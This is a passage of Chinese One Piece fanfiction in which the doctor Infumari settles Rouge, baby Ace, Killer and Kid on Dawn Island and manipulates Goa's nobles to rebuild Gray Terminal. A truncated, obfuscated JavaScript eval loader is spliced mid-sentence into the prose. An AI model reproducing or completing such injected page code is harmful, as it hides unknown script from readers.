至少... 一旁陪护的史黛拉看到他来,用手里的纸巾擦擦还带着泪水的眼角,起身让出椅子,打断了他的思绪。 茵弗摆摆手,压低声音:“你坐吧,我一会儿就回军舰上了。” 即使声音很小,露玖也从睡梦中醒来,有些虚弱地向他伸出手。 “我的手凉,您也知道。” 露玖摇摇头,茵弗只能努力把手搓热一点,走到床边牵住了她。 “您睡得怎么这么浅。” “我来得还是晚了些,您身体听起来还是留下了损伤,我已经尽力了,但是十五个月还是太多了...我...” 露玖轻轻地吻了一下他的手背。 “嘘...茵弗,我很好,艾斯很好,不用再担心了。” 茵弗看了看旁边暖箱里睡着的小婴儿,柔和了眼角:“啊,我就猜他吃了您那么多的营养和精力,肯定会是个胖娃娃。” 露玖:“以后也会像他爸爸那样有个好胃口吧?” 他的未来会是什么样的呢?他会长得和罗杰一样高吗?还是更像妈妈?这个耐心地在她肚子里等待的孩子,会很温柔吧?会很爱她吧? 茵弗的灵魂中突然升起一股熟悉的感觉,痒痒地,麻麻地沿着血管流淌到他的五脏六腑。 一只刚破壳的雉鸟,发出了清脆的第一声鸣叫,盛开一季的蒲公英,展开了它的第一撮绒毛。 那么动听,那么美,那么—— 哦,希鲁鲁克,我以为自己一直没能明白您让我寻找的是什么,可是我早就找到了。 茵弗清清嗓子,回过神,发现露玖在温柔地看着他,也不知道自己刚刚对着艾斯是什么表情,也许很傻。 “谢谢您,露玖夫人。我会再在南海呆几个月,期间帮您调养好身体,确保您和艾斯可以长途旅行,然后卡普先生可能会送您去东海呆一阵子。” 即使他目前瞒过了世界政府,呆在这里还是太危险了,而且露玖一个人的话会很辛苦,卡普说他家乡那边有人可以帮忙照顾他们母子。 “还有,虽然【黄金】(Gol.D)的名字很好,但是也许在艾斯成长起来之前,不要使用它比较好。” 露玖点点头:“波特卡斯?” 茵弗:“很好听。” 露玖捏了捏他的手,脸上的雀斑被暖黄的灯光打得格外柔和:“你需要我吗?我不一定要去东海。别小看我呀。” 当然不会了,她是个多么强大的女性啊,能让罗杰坠入爱河的D,能靠意志力忍受巨大痛苦去扭转不可能为可能,偶尔茵弗调皮,她扭他耳朵可痛了呢。 但是现在的他太弱小了,艾斯也太弱小了,稍有不慎就会酿出苦果。至少这段时间内,东海和卡普的庇护会是更好的选择。 茵弗:“没关系,露玖夫人,我会带着史黛拉小姐回她的家乡看看,然后跟着一起把您们送到东海。”他沉思了一下,“等艾斯长大一点,如果您想,再跟着我一起,怎么样?” 露玖知道这是他出于担忧能做出最大的妥协了,理解地伸出一根小指:“那就约好了?” 茵弗不是海贼,但是他学会了很多海贼的东西,比如不会违背约定。也许露玖发现了这一点,也许是罗杰告诉他的,他不知道,他仍然没有问露玖罗杰都和她说了什么。 他伸出小指。 罗杰也曾和她许下过约定吗? 在他离开前,露玖带着笑意的声音传来: “别叫我夫人了,茵弗,你想叫我姐姐吗?或者妈妈?” ''别叫我小姐了,笨蛋,你想叫我爱人吗?'' 茵弗玛利僵住了。 他没叫露玖姐姐,也没叫她妈妈,不过他偶尔会叫她扶桑花。 38.罗杰养的什么医生? 史黛拉的新主人很神奇——不,他不是她的主人。那张薄薄的,夺走她的人生的契约纸被折成纸飞机丢入了海,而她却不再下沉,而是飞向自由了。 跟在茵弗玛利身边是她的选择,叫他茵弗大人也是她的选择。那个和她年龄相差不大的少年在听到她这么说后,只是笑着说''这样吗'',然后再也没有让她改口。 他不是她的主人,他说''您愿意跟我走吗?'',然后用将她拢到自己的羽翼下所带来的一切——食物,衣服,被满足的愿望,尊重,自由——换一首歌。 史黛拉会的歌不多,也不觉得自己唱歌很好,比不上泰佐洛。但是有时候茵弗玛利在深夜才能脚步匆匆地赶到露玖的木屋,在为她检查身体和叮嘱之后,疲惫地坐一会儿,然后听她唱那首不知名的童谣。 这让她想起露玖的话,她说:''将我们护在羽翼之下吗?可他自己还是个小鸟呢。'' 帮助他是她的选择,信任他是她的选择,她相信他就像相信天上的太阳,奔赴大海的江河。 所以在短暂的犹豫后,她还是牵着身旁孩子的手,敲开了茵弗玛利的门。 茵弗从文件中抬起头,第一时间以为自己眼花了——毕竟自从离开鱼人岛自己有一段时间没有处理这种东西了——史黛拉为什么带着两个小孩? “茵弗大人、我、” 他捏捏鼻梁,将标着巴苔里拉的文件放在一边:“进来说吧。” 史黛拉的家乡不是什么富饶之地,有大片的废弃垃圾场,里面的破烂铁器和鲜血带来一股铁锈的味道。她的亲人已经不在了,甚至住的街道上,自己曾经的家,连带着旁边的几栋房子一起都早已变成废墟。 随着他人的线索,她找到了唯一能连接她旧生活的碎片——那个长着厚厚金发的友善邻居家的孩子,漂泊在外,正蹲在翘起的一块铁皮下努力地往自己手里的小宝宝嘴里塞面包。 “所以我想把他们带在身边...当然我会负责照顾的...” 茵弗耐心地等她说完,递过一杯水,然后走到那个有些紧张的金发小孩身边,在对方下意识护住怀里的小宝宝时伸出手掌示意自己无害。 “别担心,我没有恶意,您叫什么名字?” 厚厚的刘海遮住小半张脸的小孩用稚嫩的声音回答:“... 基拉。” 茵弗从兜里摸出一小瓶糖果,先往嘴里放了一颗,然后将瓶口递过去:“基拉(Killer杀手)?,那您挺厉害嘛,看起来也就是个三岁的小家伙。” 基拉小声嘀咕了一句“我四岁了”。他看茵弗吃了糖应该是没毒的样子,就分出一只手拿了块糖,准备塞到怀里的小家伙嘴里却被阻止了。 茵弗松开拉住他手腕的手,默默评估着听到的身体状况,营养不良,肠胃不太好,身上几处伤口轻微感染,稍微有点发烧。 应该流浪有一段时间了,四岁长着三岁的身高。 “别给他吃,他现在太小,容易噎到。他是您弟弟?叫什么?” 基拉放松下来,自己确实没有想到这一点,还好及时被拉住了。他把糖放到自己的嘴里,久违的甜味让他在刘海后眯起眼睛。 “他、我捡到的。不知道叫什么,我就叫他小鬼(Kid)。” 茵弗笑了一声,用手指轻轻拨了一下小小孩的脑袋,他喜欢这种纯正的红色头发。 “小鬼(Kid)?基德(Kidd)也是个好名字呢,听起来很像个大船长的感觉,跟您的名字很搭。” 听起来还行,没什么太严重的问题,一个四岁的小孩能把一个小婴儿和自己照顾成这样已经很好了。 他又给了基拉一块糖,看到对方有些珍惜的揣到裤子口袋里之后直接把整瓶放在他手里。然后起身伸了个懒腰,拍拍史黛拉的肩膀。 “想养就养着吧。” 史黛拉呼出一口气,她就知道相信茵弗大人没问题的。 小基德就在这时突然扑腾了起来,好像耐心终于耗完了一样,嘴里大声地发出几个音节。基拉连忙将手里的糖果瓶塞到口袋里,熟练地安抚他。 茵弗看到这一幕觉得有点好笑,是个小炮仗啊,不知道能不能跟艾斯玩到一起去。 “先送他俩去医务室吧,卡普先生来了,我们回巴苔里拉。” - 一、二、三? 卡普伸着指头又点了一遍。 一、二?三? 罗杰老婆生了几个啊?年龄也不太对吧? 茵弗拍开他的手:“别数了,卡普先生,基拉和弟弟基德是史黛拉小姐的家人。” 卡普发出哦的一声,也不在意露玖他们一群大大小小的家伙进入船舱前无语的眼神。 “你小子干得不错嘛,那么多人舍不得你呢?” 他指指越来越远的岸边乌泱泱的人群,身旁的小子只是耸耸肩,没有提对方前半句加重语气真的在指什么。 “我带了很多巴苔里拉现在在生产的花草茶,您可以带回海军那边,帮忙宣传一下,上次不是说什么您的朋友们也喜欢吗?” 他指指单独包好,贴着标签的两个盒子,“上面那盒是您的,下面那盒是鹤女士的。”他又拍拍包装华丽的一款,“这个给空元帅,他邀请我去海军总部做客呢。” 卡普指挥海军把甲板上的几箱茶送到货舱,自己一手拿着单独的那几份,一手拎着茵弗回到自己的舱房。 “那你干嘛自己不去?一段时间没见指挥起老夫了是吧?下次琢磨点配仙贝好的茶出来!” 茵弗任由他拎着,领子居然没有卡的很难受,看来卡普很熟练啊。龙就是这么被他拎大的然后到处丢吧,难怪跑了。 卡普听到他的嘀咕果然把他往地上一扔,一拳骨就砸了下来:“尊重长辈啊臭小子!” 痛死了,居然用霸气打人脑袋。茵弗也在拳头上覆上霸气,狠狠捶向卡普,被对方伸掌接下。“哟?力度不错嘛,跟谁学的?”说着就要打,拳头上甚至浮起了霸缠的电弧。 茵弗连忙逃开:“不打了不打了,我应激反应,我最尊重您了!” 卡普撇撇嘴:“臭小子,还有得练呢。” 茵弗没理他,往卡普办公室里的沙发上一躺,随便踢掉鞋子,换了个话题。 “关于艾斯,您以后有什么打算?” 卡普吃着桌上的甜甜圈,也不在意茵弗怎么到他面前就''失礼''得很,这小子也该放松一下了。 “不知道,以后让他做海兵吧,老夫还能护着他点。” 茵弗皱眉:“嗯...我不是这个意思,不论他以后做海兵,海贼,还是就做个花匠我都无所谓,看他的选择。” 世界上没有永远的秘密,最简单的谎言最不容易被发现,可是1%不是0%。 “如果有一天全世界都要杀了他,包括''正义'',到时候您有什么打算?” 卡普没说话。 往常茵弗可能会对别人的沉默表示谅解,替他人解围也好,揭过这个话题也罢,但是他这次没有开口,只是等卡普的选择。 卡普又吃了一个甜甜圈,半晌才说道:“老夫是海军,但是,自从罗杰托付,老夫就早已决定当他的爷爷,当你在海军的担保人。” 茵弗闭了闭眼,所以卡普也会等,带着他自己的正义,等他和艾斯的选择。 从鼻子里长长地呼气,却无论如何都不能消散肺里的憋闷,也许他该给自己也调一杯茶。 他直起身,准备离开前伸手要了个甜甜圈:“爷爷?您占罗杰先生便宜?” 卡普没好气地把整盒甜甜圈丢到他怀里,就像是他塞给基拉的那罐糖。 - 茵弗端着那盒还剩下大半的甜甜圈准备先去给基拉送几个,不知道他第一次长途坐船习不习惯,自己当年从亨姆岛到磁鼓岛的时候,风浪大的时候可是不太好受。 推开门,除了厚刘海小子,小炮仗,他的星星和扶桑花也在。 “哟,您们在聚会?正好从卡普先生那要来点甜食,要饮料吗?” 露玖抱着艾斯坐在地毯上,对面的基拉抱着基德,两个几个月大的小宝宝互相咿咿呀呀的说话。小基德大几个月,已经能发出音节了,得意洋洋地大喊大叫。 史黛拉起身接过他手里的盒子,笑着回复:“露玖夫人说想帮我照顾他们两个,我也还在帮她照顾艾斯,所以就把舱房里东西都搬过来了,我们就先住在一起。” 茵弗点点头,这样也好:“那我一会儿去搬两个折叠床来,沙发上躺久了很累的。” 露玖:“你要跟我们一起吗,茵弗?挤一挤还是住得下哦。” 茵弗坐到基拉身边,递给他一个甜甜圈,顺便摸了摸他和基德的小脸。恢复的不错,两人体质都很好。 “不了,露玖,我平时晚上会工作到很晚,打扰您们休息。” 基德不喜欢他戳来戳去的,气呼呼地嘟着脸把他的手放到嘴里咬,刚刚露头的小乳牙咬得他麻麻的。 茵弗没在意,他手不脏,就随他去了。 “小炮仗这几天辅食吃得怎么样?” 基拉塞得满嘴都是甜甜圈,感谢地点头:“胃口很好,我都不知道小孩子要吃辅食,之前都是想办法弄牛奶,或者我吃什么他吃什么。” 茵弗笑笑:“能长大就行。” 他揽过这个才四岁就格外成熟的小子,亲昵地贴着,挠他痒痒。 “好啦放松点,笑一笑,您也是小孩嘛,以后我们会帮你照顾基德的。” 基拉被他弄得痒痒,又捂住嘴巴,自己的笑声很奇怪,总被别的小孩嘲笑。 “嗯?这么能忍?别小瞧我呀。”说完,茵弗就偏过身,轻轻挠他穿着毛茸茸袜子的脚心。 “发发发发发!” 不好。 “哈哈哈你的笑声好可爱呀!” 基拉有些僵硬地看向史黛拉,心脏怦怦直跳:“真、真的?” 茵弗没管他,又开始挠他痒痒,一旁的小基德自己慢慢地爬着,又去把脑袋怼在艾斯的身上,基拉在挣扎间只看到史黛拉一边点头一边拿起一个甜甜圈。 茵弗:“多笑笑!我认识一个超级帅的先生,他笑声也很特别呢,您以后也能那么帅!” 说完茵弗就放过这个眼泪都笑出来的小家伙,往后一仰,模仿着记忆里的动作,虚虚一手握着空气薙刀,一手搭在不存在的扶手上: “咕啦啦啦啦!” “发发发发、怎么会有咕啦啦的啊发发、” “是吧?很帅呢。” 这边的笑声让小艾斯也开始笑,把在啃他胳膊的基德吓一跳。小红毛回头,看到自己的哥哥笑得很开心,也跟着笑起来。 史黛拉:“哈哈哈你们都在笑什么呀就跟着笑!” 回答她的是各种咿咿呀呀的笑声。 在这一屋子奇怪又可爱的声音里,露玖笑得肩膀颤抖,她看到茵弗玛利倒在地上闭上眼,听着他们的声音,放松嘴角,露出一点满足的微笑。 - 达旦觉得自己面前的年轻人笑得可太诡异了。 还好不是冲着自己,不过居然有人敢对着卡普发脾气? “老夫都说了!他们会帮忙照顾的!” 达旦:“我——” 卡普扭头:“啊?不答应就去牢里坐坐吧!” 达旦:“——们当然会帮忙!” 那个年轻人都快跳起来了,颇有想给卡普这个魔头一拳的架势。 “您还逼迫人家!海军中将就是这样的吗!” 他指指达旦一家有些破烂的木屋,指指外面繁茂的丛林,正好远远地传来一声狼嚎。 “您想让我的扶桑花带着一群孩子呆在这里与世隔绝?她身体还在恢复!” 达旦想的没错,茵弗是想狠狠给卡普一拳,要不是绝对会被揍他就上手了。 在风车村抛锚的时候他还是很满意的,虽然离哥亚王国比较远,但是比起城市里,确实一个宁静友善的渔村更适合露玖,也更掩人耳目。 没想到卡普直接选了个更掩人耳目的住地,直接带着他们往山上去了,还好他发现不太对劲让露玖他们在风车村先等候,自己跟着上来考察。 崎岖的山路、摇摇欲坠的吊桥、闷热的丛林、未知的植物蘑菇、蚊蝇毒蛇、比正常体型大十倍的猛兽...非常抗拒的山贼。 哈?? “那你想怎么办!罗杰的孩子当然不能随便就放在村子里!” 达旦咽了口口水:“罗..罗杰?海贼王罗杰?你想让我们帮忙照顾魔鬼的妻子孩子?” 在那个年轻人——好像叫茵弗什么——冰冷的眼神扫过来的时候,达旦觉得罗杰她倒是没见过,魔鬼倒是真的见到了。 茵弗叹了口气,他当然知道罗杰在世人眼中的形象,他也确实是个手上染满鲜血的海贼,开启了大航海时代。''海贼王''的名头还是太大了,其他的海上霸主,不论是不是比罗杰强,比他更残忍,都比不上这个称号的象征意。 他就知道那些报纸有问题。 他闭眼揉着鼻梁——现在的他越来越知道雷利经常做这个动作是什么感觉了——没有回答达旦。 “他的档案没问题,卡普先生,我尽了最大的努力让他堂堂正正的出生,至少短时间内政府不会怀疑的。” 他放软了语气:“我知道您想让越少的人知道他的存在越好,先生,但是他需要接触能带来正面影响的人,他是个孩子——” 茵弗看了达旦一眼:“——是一张白纸。” 在一群玛丽和约瑟夫身边,他会无知无觉地认可神与命运的理所应当;在没有樱花盛开的岛,他会失去向往春天的勇气;在仇恨与歧视里,他会用愤怒来遮掩自我厌弃。 “但是在爱他的人身边,他、” 茵弗没有说下去。 卡普:“你救下了他妈妈。” 茵弗:“他不止需要他妈妈。” 茵弗不止需要米森,需要希鲁鲁克,库蕾哈,他需要罗杰、雷利、香克斯、巴基、他需要乙姬,需要史黛拉,甚至是卡普。 “您需要的也不止是您的 ''正义''。” 卡普的拳头捏紧又放松,他好像一下子老了很多,鬓角上早已染上白发。 龙坐在他的对面,摩天轮缓缓地将二人送到高处,眉眼与他相似的男人伸出手,他说:''父亲,我——'' “...你想怎么安排。这里是老夫能想到最安全的地方了,长大一些,丛林里的野兽也会帮他变强。” 就像曾经帮卡普变强一样。 “我尊重您的想法,卡普先生,但是带我转转整个黎明岛吧。” 风车村——科尔波山——不确定之物终点站——边镇——高镇——皇宫。 这就是黎明岛的布局。 茵弗觉得有点好笑,除了风车村是一个特殊的存在,最适合露玖和艾斯的居然真的是遍布着巨大猛兽与鳄鱼的科尔波山,和一群山贼在一起。 他和卡普没去高镇,那是贵族盘踞的中心,从哥亚王国一堵又一睹分割人们阶级的高墙来看,他也不需要去了。 他很熟悉这种贵族,自己在当游医的时候从他们身上敲下来不少油水,弥补一些自己需要听他们说话的精神损失。 他们坐在边镇的一个小餐馆外面的桌椅上,有一下没一下地用手里的笔在自己摊开的笔记本上敲着。 没什么客人,所以也没什么人对卡普一个大汉和他一只虾米在有些狭小的位置上挤着的画面侧目,即使他们桌上还放着两杯花哨的奶昔。 ''这里离不确定之物终点站太近了,垃圾山的臭气让我没什么客人。'' 那位过于热情的店老板说。 茵弗在手里简单的地图上终点站的位置又画了一个圈。 “卡普先生,什么是垃圾。” 卡普:“哈?垃圾就是垃圾啊,别人丢掉的废弃物。” 茵弗嗯了一声,喝了一口奶昔:“垃圾是失去使用价值、 无法利用的废弃物品,是扔掉的废物,秽物、尘土及被弃的东西的统称。” 卡普啧了一声:“书呆子。” 茵弗没理他,只是把对方手边的奶昔里插着的草莓挑出来放到自己嘴里:“垃圾可以指人、事、物。它是物质循环的重要环节,是回收流动的必要基底。” 哥亚王国的垃圾处理会更加困难,因为这里充斥着泥泞的人、事、物。 垃圾山越堆越高,臭气使人抱怨,但是没人处理。这里没有流动,一潭死水一样发烂发臭。 在他来接他们之前,他不会让孩子们在他人的臭气里将自己也视为垃圾,尤其是艾斯。 至少他对面对被抛弃的东西有经验。 比如鱼人街。 他在本子上写下''物质循环'',''回收流动''这几个字。 “如果他们住在科尔波山,那么至少也需要翻修达旦一家,或者在旁边建一栋房子,再把周围清干净。” 他抬起头,面对不知道他跳来跳去在说什么的卡普将自己简单画的思维导图推到他面前。 “虽然我还是更喜欢风车村一点,但是我会尊重您的意愿,询问露玖。” 卡普慢慢从茵弗的那笔烂字中辨认出什么,有些惊讶地挑挑眉角。 “垃圾处理第一步:分类。” 茵弗起身伸了个懒腰:“您的假期还有多久?” - 昏昏欲睡的东海,被一道信息唤醒了。 ''能带来奇迹的游医''茵弗玛利在长久停留在南海后,再次出现在了东海,黎明岛。 哥亚王国的贵族们不关注一个小小的医生,但是这一位不一样。据说其他几个海域,甚至是伟大航路的贵族都曾请过他。 肥胖的贵妇变得苗条,体虚的先生变得强壮。 伤疤,皱纹,甚至是胎记都会在这位医生手下如擦去灰尘一般轻易。 他会带来长久的寿命以享受财富,带来神奇的药方使孩子更加聪慧。 有能力的贵族甚至是王族都会在得到他的消息时邀请对方小坐,即使没有求医需求,也是一种彰显自己的地位的方式。 将他来了的消息带到哥亚的那位金发美丽的少女,一遍遍在他人询问时用崇拜的语气讲述那名将她救下并送到黎明岛的恩人的神奇。 而哥亚的贵族们在得知后,也第一时间互相攀谈挤兑着,想要第一个邀请对方到自己的家中做客。毕竟谁也不知道这位游医会停留多久。 “这太恶心了。” 奇迹游医皱着脸,套着袍子听旁边人群的窃窃私语,起了一身的鸡皮疙瘩。 那名金发少女,此时也穿着宽大的外袍,将金发盘起塞到帽子里,坐在他的身旁宽慰地笑笑。 史黛拉:“相信我,茵弗大人,贵族们就吃这一套,我很清楚。” 哥亚王国是海面上的世界政府加盟国,不确定之物终点站不是鱼人街,这里没有乙姬。就像他跟鹤说的一样,一个好的医生会根据不同的人开出不同的处方。 所以他没有第一时间就去终点站,而是从贵族入手了。 即使只有神知道''好医生''这句称赞仍然让他感到恶心。 茵弗将手里的苏打水瓶子和她的冰激凌杯子贴了一下,“好吧好吧,我相信您,星星,效果看来确实不错。” 史黛拉弯弯眼角,自从她表达了自己也不想对方称呼她的时候过于尊敬的意愿,偶尔茵弗会叫她星星这件事真的让她感到切实的快乐。 一个奴隶,变成了星星。 “您接下来打算怎么做?需要我去替您传达接受邀约吗?” 茵弗摇摇头,“那样太明显了,而且时间还没到,我过几天会自己来的。”他起身拎起身旁的口袋就准备回风车村。 达旦一家旁边新的木屋还在建,露玖他们暂时还住在风车村的''派对酒吧''里,那家店主有个十岁左右的女儿,挺可爱的。 露玖选择了科尔波山,但是拒绝完全与风车村,甚至是哥亚王国切断联系。她是个聪明的女人,有自信可以保护好自己和艾斯,茵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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自己给达旦一家留下的印象并不算好,既然露玖要住在科尔波山,那么除了道路的清理外,关系也要清理好。 果然,送了酒就好办多了,他不用开口就亲切了不少。 “达旦女士,我为我之前的失礼道歉,接下来的几年还需要您多对露玖他们有多照顾。” 达旦:“啊不不不,就算我们不做卡普那个家伙也...不不不我的意思是我们会的...” 茵弗笑了笑,用一支手支住脸颊,仔细打量着他们一伙二十人左右的生存环境。 高度数的酒精很快就让这些人放松下来,他数着时间差不多了就开口询问: “您们平时如何谋生呢?” 众山贼七嘴八舌地数来数去,无非就是山上打猎,河里打水,缺药品肥皂这些东西了就去高镇里偷。 “您们是怎么当上山贼的呢?” “活不下去呗,总比去垃圾站混日子或者去给贵族当狗强。” “可是镇里的人都叫您们烧杀抢掠的山贼诶,骂的很难听呢。” “让他们说去呗,虽然没烂到垃圾站一些人那种程度,但俺们也不是好人。” 茵弗点点头:“这方面,您们倒是跟海贼王很像。” 众人听到他这么说,突然都安静下来了。达旦没喝多少酒,她是她们的头儿,得照看这群笨的要死的小子,从茵弗玛利开始问话起,她就也在观察。 不过倒是没料到他会说出这种话。 茵弗看向她,上扬的嘴角没有遮盖住脸上的认真:“艾斯没有办法选择成为谁的孩子,露玖没有办法选择爱上谁。” 未来新世代的王会是谁不提,至少罗杰没有选择成为海贼王。他完成了他的冒险,再被政府冠上名号,一个红通通的十字标。 他递过一张合同到达旦眼前:“请给艾斯一个选择的机会吧?作为交换,我也会为您们创造新的选择。” 在露玖搬进科尔波山的那一天,也是流言发酵到顶点的那一天,茵弗去了高镇,接受了王族的邀约。 言论这种东西需要时间的成熟,民众间的耳语会传到贵族耳中,而只有贵族之间的交谈才会引起王族的注意。 他带着一丝傲气和非传统的礼仪与坐在王座上的夫妇交谈,这种''未见过''的谈吐模式只会让这些人坚信自己身上才华出众。 第一次发现这件事的时候,他很莫名其妙,自己造作的表面礼貌怎么还成了某种优点?但是事实就是如此。 夸扬,赞美,史黛拉教的那一套话术把这群贵族捧得高高的,然后在他们飘飘然的时候表示唯一的不足就是垃圾山的混乱了,让他即使想为伟大的王族服务也有些碍手碍脚。 被他带有一些助眠作用的香茶弄得晕乎乎的国王只觉得这位游医真的是十分懂规矩,不仅真的只靠一杯茶就让自己前所未有的放松,还如此有自觉。 大手一挥,他通过了对方想要改造不确定之物终点站的请求,那里本来就是哥亚王国的废弃之地,现在不用自己出钱,还能让自己的国家以后随时享用到这位神医出产的药品和保养品,整个东海都没有!他需要立刻招来大臣向其他国家的王族们告知这一消息!联系报纸! 茵弗递上早就准备好的合同,当然是学着卡普曾经一样在不少文字里大钻漏子,但是正处于极度愉悦中的没脑子国王看不出来,甚至没有想到要大臣帮忙核查,那也不怪他。 解决了王族,贵族就更好办了。只需要掐着人最多的时间华丽丽地被侍者从王宫里送出来,他怀里就会被字体花哨的邀请函塞满。 当然了,我的大金猪们。茵弗玛利戴着最完美的笑容,浅金色的头发在阳光下闪闪发光。 一个我都不会漏下的。 才兜兜转转一天,他就感觉自己身上被那些贵妇们身上的香水味腌透了。 和贵族说话就是很容易无语,有的时候他真的觉得这比和聪明人说话还费脑子,因为他们嘴里冒出来的东西是真的让他不知道他们到底脑子是这么长的。 茵弗随便拿过卡普桌上的一个甜甜圈塞到嘴里,他需要补充糖分。 卡普也拿过甜甜圈嚼着,狐疑地瞅着茵弗递过来的合同。 “这不是挺厉害的吗?和王族合作?为什么还要老夫去给你清理终点站?他们应该很愿意借兵给你吧?” 茵弗拍拍手上的糖渣,又掏出笔记本摊开,给卡普展示他之前见过的,只不过变得更加细致的流程图。 “垃圾分类,卡普先生。不论是贵族还是终点站;什么能回收利用,什么只能彻底放弃,这些事情是一体的。” “如果用哥亚王国的士兵去推进这件事情,只会引起这些已经被他们视为垃圾的人更大的反弹。我需要可以被回收的人站在我这边。” 卡普:“不能回收的呢?” 茵弗耸肩:“利益,武力,更好的生存机会,他们大部分人都会逐渐被我回收的,至于彻底腐烂的垃圾,那您们海军不是正好全都带走,该扔监狱扔监狱,该丢海里丢海里吗?” 卡普捶了他一拳:“就知道你问老夫假期还有多久没安好心,掐着时间准备让老夫手下的兵给你打工?” 茵弗捂住脑袋:“是这样的。除了清理终点站,如果您还能让他们帮忙在那里清出来的场地重新建些我要用的房子就更好了,搬搬材料什么的。” 卡普:“清出来的场地?” 茵弗:“我让达旦一家负责在终点站招工,然后一起去清理那些堆成山的垃圾了,分类回收,谁出力谁拿好处,然后集中焚烧或者填埋,您懂的。” 他把手里的一沓纸在卡普眼前铺开。 垃圾处理站、耕地开垦、药田建设、生产基地、流动招工... 一项一项的项目看得卡普眼花缭乱。 “您看,您只要帮我点小忙就好了,算我欠您一次。其余的其实很简单,很多可以同时进行,我只要开个头,尝到甜头的人会自己推下去,甚至比在鱼人街时还要好上手。” 卡普不知道这跟鱼人街有什么关系,不过看起来这小子确实有经验,罗杰不是养得是医生吗? “你哪来那么多钱。” 茵弗又拿了个甜甜圈吃:“贵族很好骗,而只要我不管王族要钱,有那份合同,他们就不会在意我干嘛了。” 而王族的无视会让即使有不满的贵族自己把牢骚吞下去。他们只能主动地向不确定之物终点站敞开大门,那些高墙会在无形中被啃噬掉。 他对着卡普比划了个数字,“一天的看诊我就能拿到这个数,而您甚至没法想我用的一些材料成本是多么的低。很多时候他们只是要我体检一下,夸几句,好像就多不得了了一样。” 而且他还有南海的收入。 卡普又指指一开始的那份和王族签的合同:“那这个有什么用?狐假虎威的话用不着给自己开那么多口子吧?” 茵弗嘟囔着说:“我想逐渐把不确定之物终点站变成一种在他们反应过来的时候,已经是一种不得不直视的''话语权'',卡普先生。哥亚王国是一滩死水,我要做的就是让它流动起来,而最先开始流动的终点站会逐渐吞没边镇,高镇,直到王宫。” 卡普:“你做这些都是为了艾斯那小子?” 茵弗点头:“还有露玖他们,他们还小,露玖身体不好,我要他们至少能呼吸新鲜的空气,被垃圾围绕很容易生病的。” 微微轻晃的摩天轮,过于幼稚的玩偶,长发的儿子,三十年来少有的亲密相处与交流。 ''父亲,我——'' 茵弗从等卡普回话的发呆中回神,对方在沉默后终于放声大笑:“你要是把风车村也编到你这个什么循环流动里面去,老夫的兵只要送我来''休假''随你用了!” 茵弗愉悦地与他击掌:“当然了,那是您的家乡嘛。靠海的港口可是要地呢。” 39.再见巴雷特 人在经历丧失之后的悲伤一般会分为五个阶段。 否认、愤怒、讨价还价、抑郁、接受。 茵弗一直都搞不清楚他自己究竟是否有经历这些。失去米森之后他没有否认,没有愤怒,他直直地坠入沮丧之中,在希鲁鲁克家的床上躺了一个月。 失去罗杰之后他否认,否认,否认。 没有讨价还价,也不抑郁。 他也许已经接受了,在听不到他的声音之后,也许还没有。 所以他努力地让自己忙碌起来,一个目标接着一个目标,就像是在杰克逊号上,选择去学武装色霸气,以免名为自我的一团乱麻在拆解中绞死自己。 如果不是卡普说了露玖的事情,如果没有在罗格镇遇到香克斯和巴基,他大概就会那么一直在这片海上飘下去吧,一遍遍在死亡边缘与米森见面。 露玖大约是知道的,所以她才问他''是否需要她''。 他需要的东西有很多。海贼都是一群贪婪的家伙,自私任性,他也染上了这些陋习。 不过,他没想到自己都没有意识到自己需要的东西,主动到他的身边来了。 “巴//雷特先生?” 熟悉的高大青年坐在派对酒吧的卡座里,双手抱胸,脸色很差地一言不发。 茵弗点了两杯麦酒,仔细审视面前勉强算是他半个老师的家伙。 “您怎么在这里?自从...罗格镇,我很少看到您的消息。最近还好吗?” 说实话巴//雷特也不知道自己为什么会来,他离开罗杰海贼团之后在大海上为自己打出了名气,但这意外地没有让他感到多少愉悦。 他把原因归结为自己仍然想要超越罗杰。 后来报纸上出现了一只离群的老鼠的消息,他没想到那个黏人的家伙会做出和自己差不多的选择。不过他冥冥中意识到,也许他超越不了罗杰了。 罗杰死了之后,他开始开始愤怒,他想在这片令人厌烦的大海上暴走。 但是他没有,在捏碎敌人的枪支的时候,他的口袋里掉出来了两个弹壳,一个弹头。 它们组成了一张带笑的脸,嘲讽地说了一句——【巴//雷特】。 在砸向自己的炮火中,他没有回击,而是用果实能力支起一面盾抵挡,弯腰去捡起那三枚小小的金属——他大概是生病了。 所以''奇迹游医''出现在黎明岛的消息传出来时,他下意识去抢了一艘船,向着东海前进。 他走走停停,几次回头又折返,报纸上那只老鼠的站位与哥亚王国的国王在合照时越来越近,直到他占据了讲述黎明岛的版面时,他意识到那小子快走了,他从来不停留。 所以他没有再回头,他来了,巴//雷特受够了为自己抢来无意义的明天,他要看看这只老鼠如何给他的病带来奇迹。 反正在奥罗杰克逊号上,他就很爱管他这颗子弹的闲事了。 茵弗玛利还是第一次听巴//雷特跟他说这么多话,麦酒的泡沫已经消散,玛琪诺在帮着父母收拾桌椅,因为有点害怕巴//雷特而不太敢往这边凑。 巴//雷特说自己病了,可茵弗不觉得自己比他更健康。所以他和对方干杯,喝了几口已经不再爽口的麦酒。 巴//雷特:“你怎么不喝牛奶了,小屁孩?” 茵弗玛利挥手,脸上泛起一点暖色,将他本来就深的肤色打得更像一块巧克力。 “我成年了嘛,难得重逢,您也知道,船上的规矩就是喝酒。而且您也没比我大多少。” 他只喝了半杯,等巴//雷特也喝完酒之后告别派对酒吧的主人,带着他一起去了科尔波山。 他本来就是听说有一个很吓人的家伙在找他,没什么事就早点回去。 “罗杰的儿子?” 科尔波山的山路已经被清理了不少,茵弗闭着眼睛走也没什么问题。 “嗯,叫艾斯。” 巴//雷特哼笑了一声:“居然用自己的佩刀给儿子取名字。” 茵弗:“和【子弹】、【医务室】、甚至是【枪兵】也差不多吧?都挺有意思的。” 巴//雷特没说话了,他们一路无言,直到回到住宿地才嘟囔了一句“也是。” 回来的晚了点,一岁的小艾斯和一岁半的小基德头靠着头堆在沙发上打呼噜,基拉腿上摊着本绘本,脑袋一点一点的。 史黛拉在见到巴//雷特时下意识紧张,直到茵弗解释说这是他曾经的老师。 